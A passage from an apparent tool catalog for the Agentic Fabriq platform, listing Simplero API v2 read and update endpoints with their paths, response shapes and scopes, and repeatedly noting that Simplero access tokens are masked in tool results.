masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/quiz_answers. Scopes: api. simplero_get_api_v2_quiz_answers_by_id (read) — Get a quiz answer via GET /api/v2/quiz_answers/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/quiz_answers/{id}. Scopes: api. simplero_get_api_v2_quiz_questions (read) — List quiz questions via GET /api/v2/quiz_questions. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/quiz_questions. Scopes: api. simplero_get_api_v2_quiz_questions_by_id (read) — Get a quiz question via GET /api/v2/quiz_questions/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/quiz_questions/{id}. Scopes: api. simplero_get_api_v2_scheduling_links (read) — List scheduling links via GET /api/v2/scheduling_links. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/scheduling_links. Scopes: api. simplero_get_api_v2_scheduling_links_by_id (read) — Get a scheduling link via GET /api/v2/scheduling_links/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/scheduling_links/{id}. Scopes: api. simplero_get_api_v2_segments (read) — List segments via GET /api/v2/segments. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/segments. Scopes: api. simplero_get_api_v2_segments_by_id (read) — Get a segment via GET /api/v2/segments/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/segments/{id}. Scopes: api. simplero_get_api_v2_site_comments (read) — List comments via GET /api/v2/site_comments. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/site_comments. Scopes: api. simplero_get_api_v2_site_comments_by_id (read) — Get a comment via GET /api/v2/site_comments/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/site_comments/{id}. Scopes: api. simplero_get_api_v2_site_redirects (read) — List redirects via GET /api/v2/site_redirects. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/site_redirects. Scopes: api. simplero_get_api_v2_site_redirects_by_id (read) — Get a redirect via GET /api/v2/site_redirects/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/site_redirects/{id}. Scopes: api. simplero_get_api_v2_sites (read) — List sites via GET /api/v2/sites. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/sites. Scopes: api. simplero_get_api_v2_sites_by_id (read) — Get a site via GET /api/v2/sites/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/sites/{id}. Scopes: api. simplero_get_api_v2_steps (read) — List automation steps via GET /api/v2/steps. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/steps. Scopes: api. simplero_get_api_v2_steps_by_id (read) — Get a automation step via GET /api/v2/steps/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/steps/{id}. Scopes: api. simplero_get_api_v2_subscriptions (read) — List list subscriptions via GET /api/v2/subscriptions. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/subscriptions. Scopes: api. simplero_get_api_v2_subscriptions_by_id (read) — Get a list subscription via GET /api/v2/subscriptions/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/subscriptions/{id}. Scopes: api. simplero_get_api_v2_survey_responses (read) — List survey responses via GET /api/v2/survey_responses. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/survey_responses. Scopes: api. simplero_get_api_v2_survey_responses_by_id (read) — Get a survey response via GET /api/v2/survey_responses/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/survey_responses/{id}. Scopes: api. simplero_get_api_v2_surveys (read) — List surveys via GET /api/v2/surveys. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/surveys. Scopes: api. simplero_get_api_v2_surveys_by_id (read) — Get a survey via GET /api/v2/surveys/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/surveys/{id}. Scopes: api. simplero_get_api_v2_taggings (read) — List tagged contacts via GET /api/v2/taggings. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/taggings. Scopes: api. simplero_get_api_v2_taggings_by_id (read) — Get a tagged contact via GET /api/v2/taggings/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/taggings/{id}. Scopes: api. simplero_get_api_v2_tags (read) — List tags via GET /api/v2/tags. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/tags. Scopes: api. simplero_get_api_v2_tags_by_id (read) — Get a tag via GET /api/v2/tags/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/tags/{id}. Scopes: api. simplero_get_api_v2_testimonials (read) — List testimonials via GET /api/v2/testimonials. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/testimonials. Scopes: api. simplero_get_api_v2_testimonials_by_id (read) — Get a testimonial via GET /api/v2/testimonials/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/testimonials/{id}. Scopes: api. simplero_get_api_v2_ticket_comments (read) — List ticket comments via GET /api/v2/ticket_comments. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/ticket_comments. Scopes: api. simplero_get_api_v2_ticket_comments_by_id (read) — Get a ticket comment via GET /api/v2/ticket_comments/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/ticket_comments/{id}. Scopes: api. simplero_get_api_v2_tickets (read) — List tickets via GET /api/v2/tickets. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/tickets. Scopes: api. simplero_get_api_v2_tickets_by_id (read) — Get a ticket via GET /api/v2/tickets/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/tickets/{id}. Scopes: api. simplero_get_api_v2_triggers (read) — List triggers via GET /api/v2/triggers. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. GET /api/v1/simplero/api/v2/triggers. Scopes: api. simplero_get_api_v2_triggers_by_id (read) — Get a trigger via GET /api/v2/triggers/{id}. Answers {"data": {...}}. GET /api/v1/simplero/api/v2/triggers/{id}. Scopes: api. simplero_patch_api_v2_actions_by_id (write) — Update a action via PATCH /api/v2/actions/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/actions/{id}. Scopes: api. simplero_patch_api_v2_affiliate_programs_by_id (write) — Update a affiliate program via PATCH /api/v2/affiliate_programs/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/affiliate_programs/{id}. Scopes: api. simplero_patch_api_v2_affiliates_by_id (write) — Update a affiliate via PATCH /api/v2/affiliates/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/affiliates/{id}. Scopes: api. simplero_patch_api_v2_agentic_workflow_files_by_id (write) — Update a agentic workflow file via PATCH /api/v2/agentic_workflow_files/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/agentic_workflow_files/{id}. Scopes: api. simplero_patch_api_v2_agentic_workflows_by_id (write) — Update a agentic workflow via PATCH /api/v2/agentic_workflows/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/agentic_workflows/{id}. Scopes: api. simplero_patch_api_v2_alternative_prices_by_id (write) — Update a alternative price via PATCH /api/v2/alternative_prices/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/alternative_prices/{id}. Scopes: api. simplero_patch_api_v2_assets_by_id (write) — Update a media file via PATCH /api/v2/assets/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/assets/{id}. Scopes: api. simplero_patch_api_v2_attachments_by_id (write) — Update a attachment via PATCH /api/v2/attachments/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/attachments/{id}. Scopes: api. simplero_patch_api_v2_automations_by_id (write) — Update a automation via PATCH /api/v2/automations/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/automations/{id}. Scopes: api. simplero_patch_api_v2_availabilities_by_id (write) — Update a availability preset via PATCH /api/v2/availabilities/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/availabilities/{id}. Scopes: api. simplero_patch_api_v2_blog_posts_by_id (write) — Update a blog post via PATCH /api/v2/blog_posts/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/blog_posts/{id}. Scopes: api. simplero_patch_api_v2_bot_sources_by_id (write) — Update a source via PATCH /api/v2/bot_sources/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/bot_sources/{id}. Scopes: api. simplero_patch_api_v2_bot_tiers_by_id (write) — Update a bot tier via PATCH /api/v2/bot_tiers/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/bot_tiers/{id}. Scopes: api. simplero_patch_api_v2_bots_by_id (write) — Update a bot via PATCH /api/v2/bots/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/bots/{id}. Scopes: api. simplero_patch_api_v2_chat_bot_opening_messages_by_id (write) — Update a opening message via PATCH /api/v2/chat_bot_opening_messages/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/chat_bot_opening_messages/{id}. Scopes: api. simplero_patch_api_v2_countdown_timers_by_id (write) — Update a countdown timer via PATCH /api/v2/countdown_timers/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/countdown_timers/{id}. Scopes: api. simplero_patch_api_v2_coupons_by_id (write) — Update a coupon via PATCH /api/v2/coupons/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/coupons/{id}. Scopes: api. simplero_patch_api_v2_course_lessons_by_id (write) — Update a lesson via PATCH /api/v2/course_lessons/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/course_lessons/{id}. Scopes: api. simplero_patch_api_v2_course_modules_by_id (write) — Update a module via PATCH /api/v2/course_modules/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/course_modules/{id}. Scopes: api. simplero_patch_api_v2_courses_by_id (write) — Update a course via PATCH /api/v2/courses/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/courses/{id}. Scopes: api. simplero_patch_api_v2_credits_by_id (write) — Update a credit via PATCH /api/v2/credits/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/credits/{id}. Scopes: api. simplero_patch_api_v2_custom_domains_by_id (write) — Update a custom domain via PATCH /api/v2/custom_domains/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/custom_domains/{id}. Scopes: api. simplero_patch_api_v2_customer_notes_by_id (write) — Update a note via PATCH /api/v2/customer_notes/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/customer_notes/{id}. Scopes: api. simplero_patch_api_v2_customers_by_id (write) — Update a contact via PATCH /api/v2/customers/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/customers/{id}. Scopes: api. simplero_patch_api_v2_deals_by_id (write) — Update a deal via PATCH /api/v2/deals/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/deals/{id}. Scopes: api. simplero_patch_api_v2_event_occurrences_by_id (write) — Update a event occurrence via PATCH /api/v2/event_occurrences/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/event_occurrences/{id}. Scopes: api. simplero_patch_api_v2_events_by_id (write) — Update a event via PATCH /api/v2/events/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/events/{id}. Scopes: api. simplero_patch_api_v2_facet_values_by_id (write) — Update a facet value via PATCH /api/v2/facet_values/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/facet_values/{id}. Scopes: api. simplero_patch_api_v2_facets_by_id (write) — Update a facet via PATCH /api/v2/facets/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/facets/{id}. Scopes: api. simplero_patch_api_v2_field_options_by_id (write) — Update a option via PATCH /api/v2/field_options/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/field_options/{id}. Scopes: api. simplero_patch_api_v2_field_values_by_id (write) — Update a field value via PATCH /api/v2/field_values/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/field_values/{id}. Scopes: api. simplero_patch_api_v2_fields_by_id (write) — Update a custom field via PATCH /api/v2/fields/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/fields/{id}. Scopes: api. simplero_patch_api_v2_form_fields_by_id (write) — Update a field via PATCH /api/v2/form_fields/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/form_fields/{id}. Scopes: api. simplero_patch_api_v2_funnel_connectors_by_id (write) — Update a funnel connector via PATCH /api/v2/funnel_connectors/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/funnel_connectors/{id}. Scopes: api. simplero_patch_api_v2_funnel_steps_by_id (write) — Update a funnel step via PATCH /api/v2/funnel_steps/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/funnel_steps/{id}. Scopes: api. simplero_patch_api_v2_funnels_by_id (write) — Update a funnel via PATCH /api/v2/funnels/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/funnels/{id}. Scopes: api. simplero_patch_api_v2_ideas_by_id (write) — Update a idea via PATCH /api/v2/ideas/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/ideas/{id}. Scopes: api. simplero_patch_api_v2_installments_by_id (write) — Update a installment via PATCH /api/v2/installments/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/installments/{id}. Scopes: api. simplero_patch_api_v2_labels_by_id (write) — Update a label via PATCH /api/v2/labels/{id}. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/labels/{id}. Scopes: api. simplero_patch_api_v2_landing_pages_by_id (write) — Update a landing page via PATCH /api/v2/landing_pages/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/landing_pages/{id}. Scopes: api. simplero_patch_api_v2_landing_pages_by_id_builder_content_nodes_by_node_id (write) — Update a builder doc node (landing pages) via PATCH /api/v2/landing_pages/{id}/builder/content/nodes/{node_id}. Partial update — only the keys you pass are merged into the node. Settings are deep-merged. Pass publish_changes: true to publish the working version immediately. Note: `html_section` nodes cannot be updated via this endpoint — use the html_section update endpoint (POST builder/content/html_section) instead. Answers {"data": {...}}. PATCH /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/nodes/{node_id}. Scopes: api. simplero_patch_api_v2_library_mailings_by_id (write) — Update a library email via PATCH /api/v2/library_mailings/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/library_mailings/{id}. Scopes: api. simplero_patch_api_v2_lists_by_id (write) — Update a list via PATCH /api/v2/lists/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/lists/{id}. Scopes: api. simplero_patch_api_v2_nav_list_links_by_id (write) — Update a link via PATCH /api/v2/nav_list_links/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/nav_list_links/{id}. Scopes: api. simplero_patch_api_v2_pages_by_id (write) — Update a page via PATCH /api/v2/pages/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. PATCH /api/v1/simplero/api/v2/pages/{id}. Scopes: api. simplero_patch_api_v2_pages_by_id_builder_content_nodes_by_node_id (write) — Update a builder doc node (pages) via PATCH /api/v2/pages/{id}/builder/content/nodes/{node_id}. Partial update — only the keys you pass are merged into the node. Settings are deep-merged. Pass publish_changes: true to publish the working version immediately. Note: `html_section` 